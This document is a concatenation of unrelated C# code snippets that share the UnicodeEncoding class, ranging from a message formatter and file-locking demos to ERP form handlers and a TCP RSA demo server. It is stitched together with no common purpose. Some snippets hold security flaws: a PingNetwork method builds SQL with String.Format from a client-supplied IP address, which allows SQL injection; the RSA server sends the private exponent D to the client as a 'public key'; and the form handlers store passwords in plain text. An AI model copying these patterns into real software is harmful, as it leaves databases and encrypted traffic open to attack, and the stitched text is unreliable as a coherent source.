/// <include file='doc\ActiveXMessageFormatter.uex' path='docs/doc[@for="ActiveXMessageFormatter.Write"]/*' /> /// <devdoc> /// This method is used to write the given object into the given message. /// If the formatter cannot understand the given object, an exception is thrown. /// </devdoc> public void Write(Message message, object obj) { if (message == null) { throw new ArgumentNullException("message"); } Stream stream; int variantType; if (obj is string) { int size = ((string)obj).Length * 2; if (this.internalBuffer == null || this.internalBuffer.Length < size) { this.internalBuffer = new byte[size]; } if (unicodeEncoding == null) { this.unicodeEncoding = new UnicodeEncoding(); } this.unicodeEncoding.GetBytes(((string)obj).ToCharArray(), 0, size / 2, this.internalBuffer, 0); message.properties.SetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY, this.internalBuffer); message.properties.AdjustSize(NativeMethods.MESSAGE_PROPID_BODY, size); message.properties.SetUI4(NativeMethods.MESSAGE_PROPID_BODY_SIZE, size); message.properties.SetUI4(NativeMethods.MESSAGE_PROPID_BODY_TYPE, VT_LPWSTR); return; } else if (obj is byte[]) { byte[] bytes = (byte[])obj; if (this.internalBuffer == null || this.internalBuffer.Length < bytes.Length) { this.internalBuffer = new byte[bytes.Length]; } Array.Copy(bytes, this.internalBuffer, bytes.Length); message.properties.SetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY, this.internalBuffer); message.properties.AdjustSize(NativeMethods.MESSAGE_PROPID_BODY, bytes.Length); message.properties.SetUI4(NativeMethods.MESSAGE_PROPID_BODY_SIZE, bytes.Length); message.properties.SetUI4(NativeMethods.MESSAGE_PROPID_BODY_TYPE, VT_UI1 | VT_VECTOR); return; } else if (obj is char[]) { char[] chars = (char[])obj; int size = chars.Length * 2; if (this.internalBuffer == null || this.internalBuffer.Length < size) { this.internalBuffer = new byte[size]; } if (unicodeEncoding == null) { this.unicodeEncoding = new UnicodeEncoding(); } this.unicodeEncoding.GetBytes(chars, 0, size / 2, this.internalBuffer, 0); message.properties.SetUI1Vector(NativeMethods.MESSAGE_PROPID_BODY, this.internalBuffer); message.properties.SetUI4(NativeMethods.MESSAGE_PROPID_BODY_SIZE, size); message.properties.SetUI4(NativeMethods.MESSAGE_PROPID_BODY_TYPE, VT_LPWSTR); return; } else if (obj is byte) { stream = new MemoryStream(1); stream.Write(new byte[] { (byte)obj }, 0, 1); variantType = VT_UI1; } else if (obj is bool) { stream = new MemoryStream(1); if ((bool)obj) { stream.Write(new byte[] { 0xff }, 0, 1); } else { stream.Write(new byte[] { 0x00 }, 0, 1); } variantType = VT_BOOL; } else if (obj is char) { stream = new MemoryStream(2); byte[] bytes = BitConverter.GetBytes((Char)obj); stream.Write(bytes, 0, 2); variantType = VT_UI2; } else if (obj is Decimal) { stream = new MemoryStream(8); byte[] bytes = BitConverter.GetBytes(Decimal.ToOACurrency((Decimal)obj)); stream.Write(bytes, 0, 8); variantType = VT_CY; } else if (obj is DateTime) { stream = new MemoryStream(8); byte[] bytes = BitConverter.GetBytes(((DateTime)obj).Ticks); stream.Write(bytes, 0, 8); variantType = VT_DATE; } else if (obj is Double) { stream = new MemoryStream(8); byte[] bytes = BitConverter.GetBytes((Double)obj); stream.Write(bytes, 0, 8); variantType = VT_R8; } else if (obj is Int16) { stream = new MemoryStream(2); byte[] bytes = BitConverter.GetBytes((short)obj); stream.Write(bytes, 0, 2); variantType = VT_I2; } else if (obj is UInt16) { stream = new MemoryStream(2); byte[] bytes = BitConverter.GetBytes((UInt16)obj); stream.Write(bytes, 0, 2); variantType = VT_UI2; } else if (obj is Int32) { stream = new MemoryStream(4); byte[] bytes = BitConverter.GetBytes((int)obj); stream.Write(bytes, 0, 4); variantType = VT_I4; } else if (obj is UInt32) { stream = new MemoryStream(4); byte[] bytes = BitConverter.GetBytes((UInt32)obj); stream.Write(bytes, 0, 4); variantType = VT_UI4; } else if (obj is Int64) { stream = new MemoryStream(8); byte[] bytes = BitConverter.GetBytes((Int64)obj); stream.Write(bytes, 0, 8); variantType = VT_I8; } else if (obj is UInt64) { stream = new MemoryStream(8); byte[] bytes = BitConverter.GetBytes((UInt64)obj); stream.Write(bytes, 0, 8); variantType = VT_UI8; } else if (obj is Single) { stream = new MemoryStream(4); byte[] bytes = BitConverter.GetBytes((float)obj); stream.Write(bytes, 0, 4); variantType = VT_R4; } else if (obj is IPersistStream) { IPersistStream pstream = (IPersistStream)obj; ComStreamFromDataStream comStream = new ComStreamFromDataStream(new MemoryStream()); NativeMethods.OleSaveToStream(pstream, comStream); stream = comStream.GetDataStream(); variantType = VT_STREAMED_OBJECT; } else if (obj == null) { stream = new MemoryStream(); variantType = VT_NULL; } else { throw new InvalidOperationException(Res.GetString(Res.InvalidTypeSerialization)); } message.BodyStream = stream; message.BodyType = variantType; }
public static void Main() { try { IPAddress ipAd = IPAddress.Parse("127.0.0.1"); // use local m/c IP address, and // use the same in the client /* Initializes the Listener */ TcpListener myList = new TcpListener(ipAd, 8888); /* Start Listeneting at the specified port */ myList.Start(); Console.WriteLine("The server is running at port 8888..."); Console.WriteLine("The local End point is :" + myList.LocalEndpoint); Console.WriteLine("Waiting for a connection....."); Socket s = myList.AcceptSocket(); Console.WriteLine("Connection accepted from " + s.RemoteEndPoint); RSAServer rsa = new RSAServer(); UTF8Encoding Asen = new UTF8Encoding(); //sending N and D these two public key to client s.Send(Asen.GetBytes(Convert.ToString(rsa.getN()))); s.Send(Asen.GetBytes(Convert.ToString(rsa.getD()))); byte[] b; while (true) { b = new byte[80000]; int k = s.Receive(b); char[] c = new char[k]; //Console.WriteLine("Recieved... {0}", k); for (int i = 0; i < k; i++) { c[i] = Convert.ToChar(b[i]); } string S = new string(c); S = rsa.decryptMsg(S); Console.WriteLine("client send msg: '{0}'", S); if (string.Compare(S, "exit") == 0) { break; } UnicodeEncoding asen = new UnicodeEncoding(); //s.Send(asen.GetBytes("The string was recieved by the server.")); //Console.WriteLine("\nSent Acknowledgement"); } /* clean up */ s.Close(); myList.Stop(); } catch (Exception e) { Console.WriteLine("Error.....\n" + e.ToString()); } }
static void Main() { UnicodeEncoding uniEncoding = new UnicodeEncoding(); string lastRecordText = "The last processed record number was: "; int textLength = uniEncoding.GetByteCount(lastRecordText); int recordNumber = 13; int byteCount = uniEncoding.GetByteCount(recordNumber.ToString()); string tempString; // <Snippet2> using (FileStream fileStream = new FileStream( "Test#@@#.dat", FileMode.OpenOrCreate, FileAccess.ReadWrite, FileShare.ReadWrite)) // </Snippet2> { // <Snippet3> // Write the original file data. if (fileStream.Length == 0) { tempString = lastRecordText + recordNumber.ToString(); fileStream.Write(uniEncoding.GetBytes(tempString), 0, uniEncoding.GetByteCount(tempString)); } // </Snippet3> // Allow the user to choose the operation. char consoleInput = 'R'; byte[] readText = new byte[fileStream.Length]; while (consoleInput != 'X') { Console.Write( "\nEnter 'R' to read, 'W' to write, 'L' to " + "lock, 'U' to unlock, anything else to exit: "); if ((tempString = Console.ReadLine()).Length == 0) { break; } consoleInput = char.ToUpper(tempString[0]); switch (consoleInput) { // Read data from the file and // write it to the console. case 'R': try { fileStream.Seek(0, SeekOrigin.Begin); fileStream.Read( readText, 0, (int)fileStream.Length); tempString = new String( uniEncoding.GetChars( readText, 0, readText.Length)); Console.WriteLine(tempString); recordNumber = int.Parse( tempString.Substring( tempString.IndexOf(':') + 2)); } // Catch the IOException generated if the // specified part of the file is locked. catch (IOException e) { Console.WriteLine("{0}: The read " + "operation could not be performed " + "because the specified part of the " + "file is locked.", e.GetType().Name); } break; // <Snippet4> // Update the file. case 'W': try { fileStream.Seek(textLength, SeekOrigin.Begin); fileStream.Read( readText, textLength - 1, byteCount); tempString = new String( uniEncoding.GetChars( readText, textLength - 1, byteCount)); recordNumber = int.Parse(tempString) + 1; fileStream.Seek( textLength, SeekOrigin.Begin); fileStream.Write(uniEncoding.GetBytes( recordNumber.ToString()), 0, byteCount); fileStream.Flush(); Console.WriteLine( "Record has been updated."); } // </Snippet4> // <Snippet6> // Catch the IOException generated if the // specified part of the file is locked. catch (IOException e) { Console.WriteLine( "{0}: The write operation could not " + "be performed because the specified " + "part of the file is locked.", e.GetType().Name); } // </Snippet6> break; // Lock the specified part of the file. case 'L': try { fileStream.Lock(textLength - 1, byteCount); Console.WriteLine("The specified part " + "of file has been locked."); } catch (IOException e) { Console.WriteLine( "{0}: The specified part of file is" + " already locked.", e.GetType().Name); } break; // <Snippet5> // Unlock the specified part of the file. case 'U': try { fileStream.Unlock( textLength - 1, byteCount); Console.WriteLine("The specified part " + "of file has been unlocked."); } catch (IOException e) { Console.WriteLine( "{0}: The specified part of file is " + "not locked by the current process.", e.GetType().Name); } break; // </Snippet5> // Exit the program. default: consoleInput = 'X'; break; } } } }
public static byte[] UnicodeStringToByteArray(String str) { UnicodeEncoding encoding = new UnicodeEncoding(); return(encoding.GetBytes(str)); }
private static void UpdateIsManager(UnicodeEncoding unicodeEncoding, MemoryStream ms, bool isManager) { string newValue = isManager.ToString().PadRight(IsManagerLength / 2); Updatefield(unicodeEncoding, ms, IsManagerOffset, IsManagerLength, newValue); }
/// <summary> /// byte数组转换为string /// </summary> /// <param name="bytes">byte数组</param> /// <returns></returns> public static string ConvertToString(this byte[] bytes) { UnicodeEncoding converter = new UnicodeEncoding(); return(converter.GetString(bytes)); }
/////////////////////////////////////////////////////////////////////////////// // Saves BAS file public bool Save(Stream in_stream, ProgramStorage in_storage) { Encoding encoding; // set open options based on encoding type switch (Encoding) { case EncodingType.Ansi: encoding = new ASCIIEncoding(); break; case EncodingType.Auto: case EncodingType.Utf8: encoding = new UTF8Encoding(); break; case EncodingType.Unicode: encoding = new UnicodeEncoding(); break; default: encoding = null; break; } using (StreamWriter bas_file = new StreamWriter(in_stream, encoding)) { // start processing of the memory int current_pos = 0; int next_line_pos = 0; int line_data_end; StatusCode state = StatusCode.Tokenizing; BasicLineHeader current_line = new BasicLineHeader(); current_line.ReadFromMemory(current_pos, in_storage); while (current_pos < in_storage.Length && current_line.Length != BAS_PRGEND) { // check basic format if (current_line.Length < BasicLineHeader.Size) { bas_file.Write("\n*** Broken BASIC program\n"); break; } // set next line pointer next_line_pos = current_pos + current_line.Length; // write line number bas_file.Write("{0,4:d} ", current_line.Number); // decode line current_pos += BasicLineHeader.Size; line_data_end = next_line_pos; if (current_pos <= line_data_end - 1 && in_storage.Data[line_data_end - 1] == BAS_LINEND) { line_data_end--; } state = StatusCode.Tokenizing; while (current_pos < line_data_end) { char current_char = (char)in_storage.Data[current_pos]; // decode token or character if (state == StatusCode.Tokenizing) { // store tokenized item if (Encoding == EncodingType.Ansi) { bas_file.Write(m_ansi_tokenized_map[current_char]); } else { bas_file.Write(m_unicode_tokenized_map[current_char]); } } else { // store non tokenized item if (Encoding == EncodingType.Ansi) { if (current_char < 0x80) { bas_file.Write(m_ansi_tokenized_map[current_char]); } else { bas_file.Write("\\x{0:X2}", current_char); } } else { if (current_char < 0x80) { bas_file.Write(m_unicode_tokenized_map[current_char]); } else { bas_file.Write("\\x{0:X2}", current_char); } } } // update status if (current_char == '"') { state ^= StatusCode.Quotation; } else { if (!state.HasFlag(StatusCode.Quotation)) { if (current_char == BAS_TOKEN_DATA) { state |= StatusCode.Data; } else { if (current_char == BAS_TOKEN_COLON) { state &= ~StatusCode.Data; } else { if (current_char == BAS_TOKEN_COMMENT || current_char == BAS_TOKEN_REM) { state |= StatusCode.Remark; } } } } } current_pos++; } bas_file.WriteLine(); current_pos = next_line_pos; current_line.ReadFromMemory(current_pos, in_storage); } // write remaining data offset int remaining_byte_index = current_pos + 1; // +1 beacuse of the BAS_PRGEND byte if (remaining_byte_index < in_storage.Length) { bas_file.WriteLine("BYTESOFFSET {0}", remaining_byte_index); } // write remaining data int bytes_in_a_line = 0; while (remaining_byte_index < in_storage.Length) { if (bytes_in_a_line == 0) { bas_file.Write("BYTES "); } bas_file.Write("\\x{0:X2}", in_storage.Data[remaining_byte_index]); remaining_byte_index++; bytes_in_a_line++; // write new line if (bytes_in_a_line > MAX_BYTES_IN_A_LINE) { bas_file.WriteLine(); bytes_in_a_line = 0; } } // new line if (bytes_in_a_line > 0) { bas_file.WriteLine(); } // write autostart if (in_storage.AutoStart) { bas_file.WriteLine("AUTOSTART"); } } return(true); }
public static byte[] ConvertToByteArray(string plainText) { UnicodeEncoding ByteConverter = new UnicodeEncoding(); return(ByteConverter.GetBytes(plainText)); }
protected void btnSave_Click(object sender, EventArgs e) { string strErr = ""; if (this.txtUSER_CODE.Text.Trim().Length == 0) { strErr += "USER_CODE不能为空!\\n"; } if (this.txtCOMPANY_CODE.Text.Trim().Length == 0) { strErr += "COMPANY_CODE不能为空!\\n"; } if (this.txtCOMPANY_NAME.Text.Trim().Length == 0) { strErr += "COMPANY_NAME不能为空!\\n"; } if (this.txtUSER_NAME.Text.Trim().Length == 0) { strErr += "USER_NAME不能为空!\\n"; } if (this.txtSTOCK_CODE.Text.Trim().Length == 0) { strErr += "STOCK_CODE不能为空!\\n"; } if (this.txtSTOCK_NAME.Text.Trim().Length == 0) { strErr += "STOCK_NAME不能为空!\\n"; } if (this.txtDEPARTMENT_CODE.Text.Trim().Length == 0) { strErr += "DEPARTMENT_CODE不能为空!\\n"; } if (this.txtDEPARTMENT_NAME.Text.Trim().Length == 0) { strErr += "DEPARTMENT_NAME不能为空!\\n"; } if (this.txtdepartment.Text.Trim().Length == 0) { strErr += "department不能为空!\\n"; } if (this.txtPARENT_DEPARTMENT_CODE.Text.Trim().Length == 0) { strErr += "PARENT_DEPARTMENT_CODE不能为空!\\n"; } if (this.txtPASSWORD.Text.Trim().Length == 0) { strErr += "PASSWORD不能为空!\\n"; } if (this.txtDescription.Text.Trim().Length == 0) { strErr += "Description不能为空!\\n"; } if (this.txtEmployeeCode.Text.Trim().Length == 0) { strErr += "EmployeeCode不能为空!\\n"; } if (this.txtAllowUsed.Text.Trim().Length == 0) { strErr += "AllowUsed不能为空!\\n"; } if (this.txtisLicenceAudit.Text.Trim().Length == 0) { strErr += "isLicenceAudit不能为空!\\n"; } if (this.txtUserType.Text.Trim().Length == 0) { strErr += "UserType不能为空!\\n"; } if (!PageValidate.IsDateTime(txtAuditDate.Text)) { strErr += "AuditDate格式错误!\\n"; } if (strErr != "") { MessageBox.Show(this, strErr); return; } string USER_CODE = this.txtUSER_CODE.Text; string COMPANY_CODE = this.txtCOMPANY_CODE.Text; string COMPANY_NAME = this.txtCOMPANY_NAME.Text; string USER_NAME = this.txtUSER_NAME.Text; string STOCK_CODE = this.txtSTOCK_CODE.Text; string STOCK_NAME = this.txtSTOCK_NAME.Text; string DEPARTMENT_CODE = this.txtDEPARTMENT_CODE.Text; string DEPARTMENT_NAME = this.txtDEPARTMENT_NAME.Text; string department = this.txtdepartment.Text; string PARENT_DEPARTMENT_CODE = this.txtPARENT_DEPARTMENT_CODE.Text; bool PPRICE_SHOW = this.chkPPRICE_SHOW.Checked; string PASSWORD = this.txtPASSWORD.Text; string Description = this.txtDescription.Text; string EmployeeCode = this.txtEmployeeCode.Text; string AllowUsed = this.txtAllowUsed.Text; string isLicenceAudit = this.txtisLicenceAudit.Text; string UserType = this.txtUserType.Text; byte[] LastEdit = new UnicodeEncoding().GetBytes(this.txtLastEdit.Text); DateTime AuditDate = DateTime.Parse(this.txtAuditDate.Text); MyERP.Model.SYS_USER model = new MyERP.Model.SYS_USER(); model.USER_CODE = USER_CODE; model.COMPANY_CODE = COMPANY_CODE; model.COMPANY_NAME = COMPANY_NAME; model.USER_NAME = USER_NAME; model.STOCK_CODE = STOCK_CODE; model.STOCK_NAME = STOCK_NAME; model.DEPARTMENT_CODE = DEPARTMENT_CODE; model.DEPARTMENT_NAME = DEPARTMENT_NAME; model.department = department; model.PARENT_DEPARTMENT_CODE = PARENT_DEPARTMENT_CODE; model.PPRICE_SHOW = PPRICE_SHOW; model.PASSWORD = PASSWORD; model.Description = Description; model.EmployeeCode = EmployeeCode; model.AllowUsed = AllowUsed; model.isLicenceAudit = isLicenceAudit; model.UserType = UserType; model.LastEdit = LastEdit; model.AuditDate = AuditDate; MyERP.BLL.SYS_USER bll = new MyERP.BLL.SYS_USER(); bll.Add(model); Maticsoft.Common.MessageBox.ShowAndRedirect(this, "保存成功!", "add.aspx"); }
public static string ConvertToString(byte[] bytes, string encoding) { if (bytes == null) { return(PdfObject.NOTHING); } if (encoding == null || encoding.Length == 0) { char[] c = new char[bytes.Length]; for (int k = 0; k < bytes.Length; ++k) { c[k] = (char)(bytes[k] & 0xff); } return(new String(c)); } IExtraEncoding extra = (IExtraEncoding)extraEncodings[encoding.ToLower(System.Globalization.CultureInfo.InvariantCulture)]; if (extra != null) { String text = extra.ByteToChar(bytes, encoding); if (text != null) { return(text); } } char[] ch = null; if (encoding.Equals(BaseFont.WINANSI)) { ch = winansiByteToChar; } else if (encoding.Equals(PdfObject.TEXT_PDFDOCENCODING)) { ch = pdfEncodingByteToChar; } if (ch != null) { int len = bytes.Length; char[] c = new char[len]; for (int k = 0; k < len; ++k) { c[k] = ch[bytes[k] & 0xff]; } return(new String(c)); } String nameU = encoding.ToUpper(System.Globalization.CultureInfo.InvariantCulture); bool marker = false; bool big = false; int offset = 0; if (bytes.Length >= 2) { if (bytes[0] == (byte)254 && bytes[1] == (byte)255) { marker = true; big = true; offset = 2; } else if (bytes[0] == (byte)255 && bytes[1] == (byte)254) { marker = true; big = false; offset = 2; } } Encoding enc = null; if (nameU.Equals("UNICODEBIGUNMARKED") || nameU.Equals("UNICODEBIG")) { enc = new UnicodeEncoding(marker ? big : true, false); } if (nameU.Equals("UNICODELITTLEUNMARKED") || nameU.Equals("UNICODELITTLE")) { enc = new UnicodeEncoding(marker ? big : false, false); } if (enc != null) { return(enc.GetString(bytes, offset, bytes.Length - offset)); } return(IanaEncodings.GetEncodingEncoding(encoding).GetString(bytes)); }
/// <summary> /// Converts the string to byte array. /// </summary> /// <param name="stringToConvert">The string to convert.</param> /// <returns></returns> public static byte[] ConvertStringToByteArray(string stringToConvert) { var encoder = new UnicodeEncoding(); return(encoder.GetBytes(stringToConvert)); }
public unsafe static Module[] GetModules(IntPtr ProcessHandle) { int tmpbaseaddr = 0; List <Module> ModuleList = new List <Module>(); win32.MemoryBasicInformation mbi = new win32.MemoryBasicInformation(); //win32.UNICODE_STRING usSectionName = new win32.UNICODE_STRING(""); win32.MEMORY_SECTION_NAME usSectionName = new win32.MEMORY_SECTION_NAME(); int dwStartAddr = 0x00000000; do { int rt1 = 0; if (win32.ZwQueryVirtualMemory(ProcessHandle, dwStartAddr, win32.MemoryInformationClass.MemoryBasicInformation, &mbi, Marshal.SizeOf(mbi), out rt1) >= 0) { //if ((int)mbi.AllocationBase == 0) // goto JMPNEXT; if (mbi.lType == (int)win32.MbiType.MEM_IMAGE) { byte[] bt = new byte[260 * 2]; int rt = 0; int result = win32.ZwQueryVirtualMemory(ProcessHandle, dwStartAddr, win32.MemoryInformationClass.MemorySectionName, out usSectionName, bt.Length, //out usSectionName, //Marshal.SizeOf(usSectionName), out rt); if (result >= 0 && tmpbaseaddr != (int)mbi.AllocationBase) { UnicodeEncoding une = new UnicodeEncoding(); string path = une.GetString(usSectionName.bt).TrimEnd('\0'); Module md = new Module(); md.baseAddress = (int)mbi.AllocationBase; tmpbaseaddr = (int)mbi.AllocationBase; md.fullName = win32.DeviceName2Path(path); ModuleList.Add(md); } dwStartAddr += (int)mbi.RegionSize; dwStartAddr -= ((int)mbi.RegionSize % 0x10000); } //end of if Type == MEM_IMAGE //JMPNEXT: // dwStartAddr += (int)mbi.RegionSize; // dwStartAddr -= ((int)mbi.RegionSize % 0x10000); } // end of getmbi dwStartAddr += 0x10000; } while (dwStartAddr < 0x7ffeffff); //去除重复 // int tmpbase = -1; // Module mod; // for (int i = 0; i < ModuleList.Count; i++) // { // mod = ModuleList[i]; // try // { // while (tmpbase == mod.baseAddress) // { // ModuleList.RemoveAt(i); // // mod = ModuleList[i]; // // } // } // catch (ArgumentOutOfRangeException) // { break; } // tmpbase = mod.baseAddress; // // } return(ModuleList.ToArray()); }
/// <summary> /// UTF-16 编码数组转换为字符串 /// </summary> /// <param name="input">UTF-16 编码数组</param> /// <returns>UTF-16 编码数组转换后的字符串</returns> public static string UTF16BytesToString(this byte[] input) { System.Text.UnicodeEncoding enc = new UnicodeEncoding(); return(enc.GetString(input)); }
public static string PingNetwork(ActiveUser UserPing) { UnicodeEncoding ByteConverter = new UnicodeEncoding(); byte[] Decrypted = Security.RSAImplementation.Decrypt(UserPing.EncryptedMessage, Security.RSAImplementation.LoadParameters()); if (ByteConverter.GetString(Decrypted) != "APPLICATION") { return(JsonConvert.SerializeObject(new { Error = true, Message = "Invalid Signature" })); } List <ActiveUser> activeUsers = new List <ActiveUser>(); List <ActiveUser> removeUsers = new List <ActiveUser>(); var conn = Connection.Connect(); conn.Open(); var getActiveCommand = conn.CreateCommand(); getActiveCommand.CommandText = "select * from active_user"; using (var reader = getActiveCommand.ExecuteReader()) { while (reader.Read()) { ActiveUser user = new ActiveUser(); user.Id = (int)reader["id"]; user.IpAddress = (string)reader["ip_address"]; user.Ticks = (long)reader["time_stamp"]; activeUsers.Add(user); } } var command = conn.CreateCommand(); command.CommandText = String.Format("UPDATE `active_user` SET `time_stamp` = '{0}' WHERE `active_user`.`ip_address` = '{1}';", DateTime.UtcNow.Ticks, UserPing.IpAddress); int rowsAffected = command.ExecuteNonQuery(); if (rowsAffected == 0) { command.CommandText = String.Format("insert into active_user (`id`, `ip_address`, `time_stamp`) values (NULL, '{0}', '{1}')", UserPing.IpAddress, DateTime.UtcNow.Ticks); command.ExecuteNonQuery(); } Security.Randomizer.Randomize(activeUsers); int countMax = 0; List <string> usersToReturn = new List <string>(); foreach (ActiveUser user in activeUsers) { if (user.IpAddress == UserPing.IpAddress) { continue; } if (DateTime.UtcNow.Ticks - user.Ticks > TimeSpan.TicksPerSecond * 20) { //removeUsers.Add(user); continue; } usersToReturn.Add(user.IpAddress); countMax += 1; if (countMax == 6) { break; } } DeleteItems(removeUsers); return(JsonConvert.SerializeObject(new { ActiveUsers = usersToReturn })); }
public static void Main(string[] args) { try { using (var server = new NetServer()) { server.Listen((self) => { System.Console.WriteLine("Server is listening on: " + self.Address.ToString()); }); server.Connect((channel) => { System.Console.WriteLine("Client connected."); channel.Fault((c, exception) => { System.Console.WriteLine(((MiniNet.Exceptions.SocketException)exception).StatusCode.ToString()); System.Console.WriteLine(exception.ToString()); }); var encoding = Encoding.Unicode; var decoder = new StringDecoder(encoding); var encoder = new StringEncoder(encoding); //channel.Authenticate(); channel.Start(); channel.Message((self, buffer) => { if (buffer.Size > 0) { var str = decoder.Process(buffer); System.Console.WriteLine(str + "-" + buffer.Size + "-"); System.Console.WriteLine(buffer.DumpHex(int.MaxValue)); } }); /*var payload = "Server: Hello Client"; * var message = MiniNet.Buffers.Buffer.Create(encoding.GetByteCount(payload)); * * encoder.Process(message, payload); * channel.SendAsync(message);*/ Thread.Sleep(1000); //channel.Close(); }); server.Fault((exception) => { System.Console.WriteLine(exception.ToString()); }); server.Bind(8080, "localhost"); using (var client = new TcpClient()) { client.NoDelay = true; client.Connect(server.Address.Host, server.Address.Port); Thread.Sleep(100); var encoding = new UnicodeEncoding(false, false, true); var stream = client.GetStream(); //var reader = new StreamReader(stream, encoding); var writer = new StreamWriter(stream, encoding) { AutoFlush = true }; for (int i = 1; i <= 4; i++) { /*var bytesReceived = new byte[1024]; * var lengthReceived = client.GetStream().Read(bytesReceived, 0, bytesReceived.Length); * if (lengthReceived > 0) * { * var message = encoding.GetString(bytesReceived, 0, lengthReceived); * System.Console.WriteLine(MiniNet.Buffers.Buffer.DumpHex(bytesReceived, 0, lengthReceived, int.MaxValue)); * System.Console.WriteLine("'" + message + "'" + lengthReceived); * }*/ writer.Write("Client: Hello Server"); } Thread.Sleep(100); System.Console.WriteLine("Press ENTER to quit"); System.Console.ReadLine(); client.Close(); } } } catch (Exception ex) { System.Console.WriteLine(ex.ToString()); System.Console.WriteLine(ex.StackTrace); } }
protected void btnSave_Click(object sender, EventArgs e) { string strErr = ""; if (this.txtITEM_INTERNAL_CODE.Text.Trim().Length == 0) { strErr += "ITEM_INTERNAL_CODE不能为空!\\n"; } if (this.txtCUSTOM_CODE.Text.Trim().Length == 0) { strErr += "CUSTOM_CODE不能为空!\\n"; } if (this.txtCUSTOM_NAME.Text.Trim().Length == 0) { strErr += "CUSTOM_NAME不能为空!\\n"; } if (this.txtITEM_NO.Text.Trim().Length == 0) { strErr += "ITEM_NO不能为空!\\n"; } if (this.txtITEM_CODE.Text.Trim().Length == 0) { strErr += "ITEM_CODE不能为空!\\n"; } if (this.txtITEM_CODE_old.Text.Trim().Length == 0) { strErr += "ITEM_CODE_old不能为空!\\n"; } if (this.txtITEM_NAME.Text.Trim().Length == 0) { strErr += "ITEM_NAME不能为空!\\n"; } if (this.txtITEM_COLOR.Text.Trim().Length == 0) { strErr += "ITEM_COLOR不能为空!\\n"; } if (this.txtPARENT_ITEM_CODE.Text.Trim().Length == 0) { strErr += "PARENT_ITEM_CODE不能为空!\\n"; } if (this.txtITEM_TYPE.Text.Trim().Length == 0) { strErr += "ITEM_TYPE不能为空!\\n"; } if (this.txtSPECIFICATIONS.Text.Trim().Length == 0) { strErr += "SPECIFICATIONS不能为空!\\n"; } if (this.txtMEASURE_UNIT.Text.Trim().Length == 0) { strErr += "MEASURE_UNIT不能为空!\\n"; } if (this.txtTYPE_NAME.Text.Trim().Length == 0) { strErr += "TYPE_NAME不能为空!\\n"; } if (!PageValidate.IsDecimal(txtNET_PRICE.Text)) { strErr += "NET_PRICE格式错误!\\n"; } if (!PageValidate.IsDecimal(txtPRICE.Text)) { strErr += "PRICE格式错误!\\n"; } if (this.txtPOSITION.Text.Trim().Length == 0) { strErr += "POSITION不能为空!\\n"; } if (this.txtIMAGE_NAME.Text.Trim().Length == 0) { strErr += "IMAGE_NAME不能为空!\\n"; } if (!PageValidate.IsDecimal(txtActual_Qty.Text)) { strErr += "Actual_Qty格式错误!\\n"; } if (this.txtBARCODE.Text.Trim().Length == 0) { strErr += "BARCODE不能为空!\\n"; } if (this.txtCREATE_NAME.Text.Trim().Length == 0) { strErr += "CREATE_NAME不能为空!\\n"; } if (!PageValidate.IsDateTime(txtCREATE_DATE.Text)) { strErr += "CREATE_DATE格式错误!\\n"; } if (this.txtUPDATE_NAME.Text.Trim().Length == 0) { strErr += "UPDATE_NAME不能为空!\\n"; } if (!PageValidate.IsDateTime(txtUPDATE_DATE.Text)) { strErr += "UPDATE_DATE格式错误!\\n"; } if (this.txtREMARK.Text.Trim().Length == 0) { strErr += "REMARK不能为空!\\n"; } if (strErr != "") { MessageBox.Show(this, strErr); return; } string ITEM_INTERNAL_CODE = this.txtITEM_INTERNAL_CODE.Text; string CUSTOM_CODE = this.txtCUSTOM_CODE.Text; string CUSTOM_NAME = this.txtCUSTOM_NAME.Text; string ITEM_NO = this.txtITEM_NO.Text; string ITEM_CODE = this.txtITEM_CODE.Text; string ITEM_CODE_old = this.txtITEM_CODE_old.Text; string ITEM_NAME = this.txtITEM_NAME.Text; string ITEM_COLOR = this.txtITEM_COLOR.Text; string PARENT_ITEM_CODE = this.txtPARENT_ITEM_CODE.Text; string ITEM_TYPE = this.txtITEM_TYPE.Text; string SPECIFICATIONS = this.txtSPECIFICATIONS.Text; string MEASURE_UNIT = this.txtMEASURE_UNIT.Text; string TYPE_NAME = this.txtTYPE_NAME.Text; decimal NET_PRICE = decimal.Parse(this.txtNET_PRICE.Text); decimal PRICE = decimal.Parse(this.txtPRICE.Text); string POSITION = this.txtPOSITION.Text; byte[] IMAGE = new UnicodeEncoding().GetBytes(this.txtIMAGE.Text); string IMAGE_NAME = this.txtIMAGE_NAME.Text; decimal Actual_Qty = decimal.Parse(this.txtActual_Qty.Text); string BARCODE = this.txtBARCODE.Text; string CREATE_NAME = this.txtCREATE_NAME.Text; DateTime CREATE_DATE = DateTime.Parse(this.txtCREATE_DATE.Text); string UPDATE_NAME = this.txtUPDATE_NAME.Text; DateTime UPDATE_DATE = DateTime.Parse(this.txtUPDATE_DATE.Text); string REMARK = this.txtREMARK.Text; MyERP.Model.PUB_ITEM_DA model = new MyERP.Model.PUB_ITEM_DA(); model.ITEM_INTERNAL_CODE = ITEM_INTERNAL_CODE; model.CUSTOM_CODE = CUSTOM_CODE; model.CUSTOM_NAME = CUSTOM_NAME; model.ITEM_NO = ITEM_NO; model.ITEM_CODE = ITEM_CODE; model.ITEM_CODE_old = ITEM_CODE_old; model.ITEM_NAME = ITEM_NAME; model.ITEM_COLOR = ITEM_COLOR; model.PARENT_ITEM_CODE = PARENT_ITEM_CODE; model.ITEM_TYPE = ITEM_TYPE; model.SPECIFICATIONS = SPECIFICATIONS; model.MEASURE_UNIT = MEASURE_UNIT; model.TYPE_NAME = TYPE_NAME; model.NET_PRICE = NET_PRICE; model.PRICE = PRICE; model.POSITION = POSITION; model.IMAGE = IMAGE; model.IMAGE_NAME = IMAGE_NAME; model.Actual_Qty = Actual_Qty; model.BARCODE = BARCODE; model.CREATE_NAME = CREATE_NAME; model.CREATE_DATE = CREATE_DATE; model.UPDATE_NAME = UPDATE_NAME; model.UPDATE_DATE = UPDATE_DATE; model.REMARK = REMARK; MyERP.BLL.PUB_ITEM_DA bll = new MyERP.BLL.PUB_ITEM_DA(); bll.Add(model); Maticsoft.Common.MessageBox.ShowAndRedirect(this, "保存成功!", "add.aspx"); }
